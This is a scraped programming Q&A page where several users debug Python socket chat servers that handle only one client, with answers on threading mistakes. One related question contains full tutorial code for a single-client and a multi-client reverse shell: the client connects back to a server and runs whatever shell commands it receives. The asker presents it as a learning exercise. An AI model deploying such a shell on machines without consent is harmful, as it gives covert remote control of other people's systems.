Threading with Chat Servers Python 3 - python

I have a problem, if I try to solve it, it does nothing to help the issue. I am trying to make a chat server for localhost at port 5000. I have a client and a serverTCP that has most of the logic.
import socket
from _thread import *
from queue import Queue
import threading
def main():
try:
host = 'localhost'
port = 5000
s = socket.socket()
s.bind((host,port))
s.listen(10)
#Listens for incomming connections
c, addr = s.accept()
print("Connection from: " + str(addr))
while True:
data = c.recv(1024).decode('utf-8')
if not data:
break
print("From connected %s: " %(str(addr)) + data)
#data = data.upper()
forma = '[' + str(addr) + '] ' + data
#Undo The bellow comments if system malfunction
#tosend = input(str("-->"))
#print("Sending: " + tosend)
#c.send(tosend.encode('utf-8'))
c.send(forma.encode('utf-8'))
print("Connection was lost with: " + str(addr))
main()
except ConnectionResetError as CRE:
print(str(CRE))
main()
except ConnectionAbortedError as CAE:
print(str(CAE))
main()
except OSError as OSE:
print(str(OSE))
return
main()
def threader():
while True:
worker = q.get()
main()
q.task_done()
q = Queue()
mtfu_l = threading.Lock()
for x in range(10):
t = threading.Thread(target = threader)
t.daemon = True
t.start()
for worker in range(20):
q.put(worker)
q.join()
And, the Client One:
import socket
from threading import Thread
inp = input("client num?")
inp2 = input("Name?")
host='localhost'
port=5000
def main(host,port):
try:
headers = {}
headers['User-Agent'] = "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.27 Safari/537.17"
s = socket.socket()
s.connect((host,port))
print('connection established with ' + host)
connect = True
while connect:
message = input("--> ")
ss = socket.socket()
ss.connect((host,port))
config = '[' + inp2 + ']' + message + ' '
while message != 'q':
s.send(config.encode('utf-8'))
data = s.recv(1024).decode('utf-8')
print(data)
message = input("--> ")
config = '[' + inp2 + ']' + message + ' '
print('Connection was lost with ' + host)
connect = False
if connect != True:
main(host,port)
except BaseException as BE:
print(BE)
print('Connection lost with ' + host)
main(host,port)
My problem is, is that I cannot have multiple users chatting with one another. I want this to be the case. I've tried threading and having multiple functions to link together, but nothing seems to work. I think you guys at stack could help me though.
Thanks,
Jerry

You can only bind one process/thing to a port. You need to figure out how to route the individual connections to their given handler.

Related

Python socket server not printing the received data?

I am sending a string from a python client to a python socket server
here is the server side code where i am printing the received value :
def threaded_client(connection):
while True:
data = connection.recv(2048)
print(data)
datatemp = data.decode('utf-8')
print(datatemp)
message = datatemp.split('_')
print(message[0])
while True:
Client, address = ServerSocket.accept()
print('Connected to: ' + address[0] + ':' + str(address[1]))
start_new_thread(threaded_client, (Client, ))
ServerSocket.close()
and on the server side i am printing print(data) , print(datatemp) and lit('_') but non of these print statements is printing anything
What am i doing wrong ?
UPDATE 1:
I am using these Imports:
import socket
import os
from _thread import *
Here is the full server code :
import socket
import os
from _thread import *
ServerSocket = socket.socket()
host = '127.0.0.1'
port = 34534
ThreadCount = 0
try:
ServerSocket.bind((host, port))
except socket.error as e:
print(str(e))
print('Waitiing for a Connection..')
ServerSocket.listen(5)
def threaded_client(connection):
while True:
data = connection.recv(2048)
print(data)
datatemp = data.decode('utf-8')
print(datatemp)
message = datatemp.split('_')
print(message[0])
while True:
Client, address = ServerSocket.accept()
print('Connected to: ' + address[0] + ':' + str(address[1]))
start_new_thread(threaded_client, (Client, ))
ServerSocket.close()

Socket python can't send information to the server "client.send(name)"

I'm working on a game project with tkinter and Python 3.7 and i can't send the name of the player that i'm typing to the server.
Server
server = None
HOST_ADDR = "192.168.1.13"
HOST_PORT = 5555
client_name = ""
clients = []
clients_names = []
player_data = []
def start_server():
global server, HOST_ADDR, HOST_PORT # code is fine without this
btnStart.config(state=tk.DISABLED)
btnStop.config(state=tk.NORMAL)
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print("socket.AF_INET")
print("socket.SOCK_STREAM")
server.bind((HOST_ADDR, HOST_PORT))
server.listen(5) # server is listening for client connection
threading._start_new_thread(accept_clients, (server, " "))
lblHost["text"] = "Address: " + HOST_ADDR
lblPort["text"] = "Port: " + str(HOST_PORT)
def accept_clients(the_server, y):
while True:
if len(clients) < 2:
client, addr = the_server.accept()
clients.append(client)
# use a thread so as not to clog the gui thread
threading._start_new_thread(send_receive_client_message, (client, addr))
Client.py
client = None
HOST_ADDR = "192.168.1.13"
HOST_PORT = 5555
def connect():
global your_details
if len(ent_name.get()) < 1:
tk.messagebox.showerror(title="ERROR!!!", message="You MUST enter your first name <e.g. John>")
else:
your_details["name"] = ent_name.get()
connect_to_server(ent_name.get())
def connect_to_server(name):
global client, HOST_PORT, HOST_ADDR
try:
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((HOST_ADDR, HOST_PORT))
print('test') # OK, i can receive the print
client.send(name)
print('test') # can't receive the print
threading._start_new_thread(receive_message_from_server, (client, "m"))
top_welcome_frame.pack_forget()
top_frame.pack(side=tk.TOP)
window_main.title("Tic-Tac-Toe Client - " + name)
except Exception as e:
tk.messagebox.showerror(title="ERROR!!!", message="Cannot connect to host: " + HOST_ADDR + " on port: " + str(
HOST_PORT) + " Server may be Unavailable. Try again later")
Each time i enter a name, it doesn't send the name that i typed client.send(name) and it goes in the else.
If someone can help me with that.
Thank you for your help !

Python -Multi client reverse shell with threads error

I am following thenewboston tutorial, I think I did pretty much the same like he did, line by line, but my reverse shell is not working, I am trying to run it locally. I am running MultiServer.py and then MultiClient.py but I get an error. I'll explain it in a second but first, here is my code:
MultiServer.py:
import socket
import time
from queue import Queue
import threading
# One thread to listen and create sockets, second thread to connect and send commands
NUMBER_OF_THREADS = 2
JOB_NUMBER = [1, 2]
queue = Queue()
all_connections = []
all_addresses = []
# Create socket (allows two computers to connect)
def socket_create():
try:
global host
global port
global s
host = '' # the server doesn't need to know the ip, only the client
port = 9992
s = socket.socket()
except socket.error as msg:
print('Socket creation error', str(msg))
# Bind socket to port and wait for connection from client
def socket_bind():
try:
global port
global s
print('Binding socket to port: ' + str(port))
s.bind((host, port))
s.listen(5)
except socket.error as msg:
print('Socket binding error', str(msg) + '\n' + 'Retrying...')
time.sleep(5)
socket_bind()
# Accept connections from multiple clients and save to list - Thread 1
def accept_connections():
for c in all_connections:
c.close()
del all_connections[:] # delete items from list
del all_addresses[:]
while 1:
try:
conn, address = s.accept()
conn.setblocking(1) # no timeout
all_connections.append(conn)
all_addresses.append(address)
print("\nConnection has been established: " + address[0] + ":" + address[1])
except:
print("Error accepting connections")
# Interactive prompt for sending commands remotely
def start_connection():
while 1:
cmd = input('> ')
if cmd == 'list':
list_connections()
elif 'select' in cmd:
conn = get_target(cmd)
if conn is not None:
send_target_commands(conn)
else:
print('Command not recognized')
# Displays all current connections
def list_connections():
results = ''
for i, conn in enumerate(all_connections): # enumerate - counter
try:
conn.send(str.encode(' ')) # check if the connection is valid by sending empty message
conn.recv(20480)
except:
del all_connections[i]
del all_addresses[i]
continue
results += 'Connection ' + str(i) + ' ' + str(all_addresses[i][0]) + ':' + str(all_addresses[i][1]) + '\n'
print('----- Clients -----' + '\n' + results)
# Selecting a target client
def get_target(cmd):
try:
target = cmd.replace('select ', '')
target = int(target)
conn = all_connections[target]
print('You are now connected to:', str(all_addresses[target][0]))
print(str(all_addresses[target][0]) + '> ', end='')
return conn
except:
print('Not a valid selection')
return None
# Connect with remote target client
def send_target_commands(conn):
while True:
try:
cmd = input()
if len(str.encode(cmd)) > 0:
conn.send(str.encode(cmd))
client_response = str(conn.recv(20480), 'utf-8')
print(client_response, end='')
if cmd == 'quit':
break
except:
print('Connection lost')
break
# Create the threads
def create_threads():
for _ in range(NUMBER_OF_THREADS):
t = threading.Thread(target=work)
t.daemon = True # the thread will die when main program exit
t.start()
# Each list item is a new job
def create_jobs():
for x in JOB_NUMBER:
queue.put(x)
queue.join() # the queue is like a to-do list, we added 1 and 2 to the queue
# Do the next job in the queue (one handles connections, the other sends commands)
def work():
while True:
x = queue.get() # will be equal to 1 and then will be 2
if x == 1:
socket_create()
socket_bind()
accept_connections()
if x == 2:
start_connection()
queue.task_done()
create_threads()
create_jobs()
MultiClient.py
import os
import socket
import subprocess
import time
# Create a socket
def socket_create():
try:
global host
global port
global s
host = '192.168.1.33'
port = 9992
s = socket.socket()
except socket.error as msg:
print('Socket creation error:', str(msg))
# Connect to a remote socket
def socket_connect():
try:
global host
global port
global s
s.connect((host, port))
except socket.error as msg:
print('Socket connection error:', str(msg))
time.sleep(5)
socket_connect()
# Receive commands from remote server and run on local machine
def receive_commands():
while True:
data = s.recv(20480)
if data[:2].decode('utf-8') == 'cd':
try:
os.chdir(data[3:].decode('utf-8'))
except:
pass
if data[:].deocde('utf-8') == 'quit':
s.close()
break
if len(data) > 0:
try:
cmd = subprocess.Popen(data[:].decode('utf-8'), shell=True, stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
stdin=subprocess.PIPE) # run command in terminal
output_bytes = cmd.stdout.read() + cmd.stderr.read()
output_str = str(output_bytes, 'utf-8')
s.send(str.encode(output_str + str(os.getcwd()) + '> '))
print(output_str)
except:
output_str = 'Command not recognized' + '\n'
s.send(str.encode(output_str + str(os.getcwd()) + '> '))
print(output_str)
s.close()
def main():
global s
try:
socket_create()
socket_connect()
receive_commands()
except:
print('Error in main')
time.sleep(5)
s.close()
main()
main()
So, in the tutorial we first created a simple reverse shell that can contain only one client, and it was working for me fine. if needed, here is the code:
Client.py:
import os
import socket
import subprocess
s = socket.socket()
host = '127.0.0.1'
port = 9997
s.connect((host, port))
while True:
data = s.recv(1024)
if data[:2].decode('utf-8') == 'cd':
os.chdir(data[3:].decode('utf-8'))
if len(data) > 0:
cmd = subprocess.Popen(data[:].decode('utf-8'), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
stdin=subprocess.PIPE) # run command in terminal
output_bytes = cmd.stdout.read() + cmd.stderr.read()
output_str = str(output_bytes, 'utf-8')
s.send(str.encode(output_str + str(os.getcwd()) + '> '))
print(output_str)
# close connection
s.close()
Server.py:
import socket
import sys
# Create socket (allows two computers to connect)
def socket_create():
try:
global host
global port
global s
host = '' # the server doesn't need to know the ip, only the client
port = 9997
s = socket.socket()
except socket.error as msg:
print('Socket creation error', str(msg))
# Bind socket to port and wait for connection from client
def socket_bind():
try:
global host
global port
global s
print('Binding socket to port: ' + str(port))
s.bind((host, port))
s.listen(5)
except socket.error as msg:
print('Socket binding error', str(msg) + '\n' + 'Retrying...')
socket_bind()
# Establish a connection with client (socket must be listening for them)
def socket_accept():
conn, address = s.accept()
print('Connection has been established | ' + 'IP ' + address[0] + ' | Port ' + str(address[1]))
send_commands(conn)
conn.close()
# Send commands
def send_commands(conn):
while True:
cmd = input('')
if cmd == 'quit':
conn.close()
s.close()
sys.exit()
if len(str.encode(cmd)) > 0: # system commands are bytes and not strings
conn.send(str.encode(cmd))
client_response = str(conn.recv(1024), 'utf-8')
print(client_response, end='')
def main():
socket_create()
socket_bind()
socket_accept()
main()
As I understood it can be a problem with the firewall so the code may be fine, but a check from an other computer will be great for me. Also, I haven't specified the error I receive, when running MultiServer.py and the MultiClient.py I get the message:
C:\Python34\python.exe C:/Users/dodob/PycharmProjects/ReverseShell/MultiClient/MultiServer.py
> Binding socket to port: 9992
Error accepting connections
I am currently trying this on windows, I also have Linux and I haven't tried to run this there. I tried to disable 'windows firewall with advanced security' but no help.

Chat / Server client Python

I am currently doing a project for university, I have to create a multiple chat client and server in python 3.4.
For some reason it will connect to one client but when a second client tries to connect it does nothing. However when the first client disconnects the other client will connect to it. Does anyone have any ideas, I have been trying to work this out for over 3 hours.
The Client Server
import socket
def Main():
print("Send 'q' to exit\n")
address = str(input("ip:port -> "))
nick = input("nick: ")
try:
if address.index(":") != 0:
host = address[:address.index(":")]
port = int(address[address.index(":")+1:])
except ValueError:
host = address
port = 5000
s = socket.socket()
s.connect((host, port))
message = input("-> ")
while message != "q":
send_message = message + "pPp" + nick
send_message2 = send_message.encode("UTF-8")
s.send(bytes(send_message2))
data = s.recv(1024)
data_decoded = data.decode("UTF-8")
data2 = data_decoded
print(data_decoded)
messageServer = str(data_decoded[:data_decoded.index("pPp")])
nickServer = str(data_decoded[data_decoded.index("pPp")+3:])
if not data_decoded == data2:
print(nickServer + ": " + messageServer)
message = input("-> ")
s.close()
if __name__ == "__main__":
Main()
The server side:
import socket
import time
import os
from threading import Thread
folderPath = "Chat Logs"
filePath = folderPath + "/" + str(time.strftime("%H-%M-%S_%d-%m-%Y")) + ".txt"
def clientHandler(c):
while True:
data = c.recv(1024)
if not data:
break
data_decoded = data.decode("UTF-8")
message = str(data_decoded[:data_decoded.index("pPp")])
nick = str(data_decoded[data_decoded.index("pPp")+3:])
print(nick + "$" + message)
saveChat(nick, message)
print(" Sending: " + data_decoded)
c.send(bytes(data_decoded.encode("UTF-8")))
c.close()
def saveChat(nick, message):
if not os.path.exists(folderPath):
os.makedirs(folderPath)
if not os.path.exists(filePath):
f = open(filePath, "a")
f.close()
f = open(filePath, "a")
f.write(nick + ": " + message + "\n")
f.close()
def Main():
host = str(socket.gethostbyname(socket.gethostname()))
port = 5000
print(host + ":" + str(port) + "\n")
Clients = int(input("Clients: "))
s = socket.socket()
s.bind((host, port))
s.listen(Clients)
while True:
c, addr = s.accept()
print("Connection from: " + str(addr))
Thread(target=clientHandler(c)).start()
s.close()
if __name__ == "__main__":
Main()
You are initializing the Thread object correctly. Try one of these:
Thread(target=clientHandler, args=(c,)).start()
or
Thread(target=lambda c=c: clientHandler(c)).start()
Thread takes a callable as the target argument. Instead of passing in a callable, your code invokes the clientHandler, and passes its return value to Thread.__init__.
the changed code for server.py works for me.
what if we accept the connections in the thread handler and pass the socket object as an argument when we call the handler.
def clientHandler(s):
while True:
c, addr = s.accept()
print("Connection from: " + str(addr))
data = c.recv(1024)
if not data:
break
data_decoded = data.decode("UTF-8")
message = str(data_decoded[:data_decoded.index("pPp")])
nick = str(data_decoded[data_decoded.index("pPp")+3:])
print(nick + "$" + message)
#saveChat(nick, message)
print(" Sending: " + data_decoded)
c.send(bytes(data_decoded.encode("UTF-8")))
c.close()
In main function, I changed the following lines.
while True:
#c, addr = s.accept()
#print("Connection from: " + str(addr))
Thread(target=clientHandler(s)).start()
Here is the connection result:
>>>
10.212.245.81:5000
Clients: 3
Connection from: ('10.212.245.81', 60945)
c1$hi
Sending: hipPpc1
Connection from: ('10.212.245.81', 60976)
c2$hi
Sending: hipPpc2
Connection from: ('10.212.245.81', 61096)
c3$hi
Sending: hipPpc3
P.S I didn't try to check the code by exceeding the number of client connect requests.

How can I have multiple clients on a TCP Python Chat Server?

Any help on how I can get this to accept more than one client, and why it isn't at the moment? Thanks!
Also, is there anything I'm doing wrong with this code? I've been following mostly Python 2 tutorials because I can't find any for Python 3.4
Here is my Server code:
import socket
import time
import os
from threading import Thread
folderPath = "Chat Logs"
filePath = folderPath + "/" + str(time.strftime("%H-%M-%S_%d-%m-%Y")) + ".txt"
def clientHandler(c):
while True:
data = c.recv(1024)
if not data:
break
data = data.decode("UTF-8")
message = str(data[:data.index("§")])
nick = str(data[data.index("§")+1:])
print(nick + ": " + message)
saveChat(nick, message)
print(" Sending: " + data)
c.send(bytes(data, "UTF-8"))
c.close()
def saveChat(nick, message):
if not os.path.exists(folderPath):
os.makedirs(folderPath)
if not os.path.exists(filePath):
f = open(filePath, "a")
f.close()
f = open(filePath, "a")
f.write(nick + ": " + message + "\n")
f.close()
def Main():
host = str(socket.gethostbyname(socket.gethostname()))
port = 5000
print(host + ":" + str(port) + "\n")
Clients = int(input("Clients: "))
s = socket.socket()
s.bind((host, port))
s.listen(Clients)
for i in range(Clients):
c, addr = s.accept()
print("Connection from: " + str(addr))
Thread(target=clientHandler(c)).start()
s.close()
if __name__ == "__main__":
Main()
And here is my Client code:
import socket
def Main():
print("Send 'q' to exit\n")
address = str(input("ip:port -> "))
nick = input("nick: ")
try:
if address.index(":") != 0:
host = address[:address.index(":")]
port = int(address[address.index(":")+1:])
except ValueError:
host = address
port = 5000
s = socket.socket()
s.connect((host, port))
message = input("-> ")
while message != "q":
s.send(bytes(message + "ยง" + nick, "UTF-8"))
data = s.recv(1024)
data = data.decode("UTF-8")
data2 = data
messageServer = str(data[:data.index("ยง")])
nickServer = str(data[data.index("ยง")+1:])
if not data == data2:
print(nickServer + ": " + messageServer)
message = input("-> ")
s.close()
if __name__ == "__main__":
Main()
First of all, I found these tutorials very helpful: BinaryTides
Here is an example of a simple tcp server that accepts multiple clients. All this one does receive data from the client and return "OK .. " + the_data. However, you could easily modify it to have a function that broadcasts the data(chat msg) to all clients connected. This example uses threading. You should google for the select module. With regards to your threads, are you sure you are a) using the right module/method for the job and b) that you are calling it in the right way?
import socket
import sys
from thread import start_new_thread
HOST = '' # all availabe interfaces
PORT = 9999 # arbitrary non privileged port
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
except socket.error, msg:
print("Could not create socket. Error Code: ", str(msg[0]), "Error: ", msg[1])
sys.exit(0)
print("[-] Socket Created")
# bind socket
try:
s.bind((HOST, PORT))
print("[-] Socket Bound to port " + str(PORT))
except socket.error, msg:
print("Bind Failed. Error Code: {} Error: {}".format(str(msg[0]), msg[1]))
sys.exit()
s.listen(10)
print("Listening...")
# The code below is what you're looking for ############
def client_thread(conn):
conn.send("Welcome to the Server. Type messages and press enter to send.\n")
while True:
data = conn.recv(1024)
if not data:
break
reply = "OK . . " + data
conn.sendall(reply)
conn.close()
while True:
# blocking call, waits to accept a connection
conn, addr = s.accept()
print("[-] Connected to " + addr[0] + ":" + str(addr[1]))
start_new_thread(client_thread, (conn,))
s.close()

Categories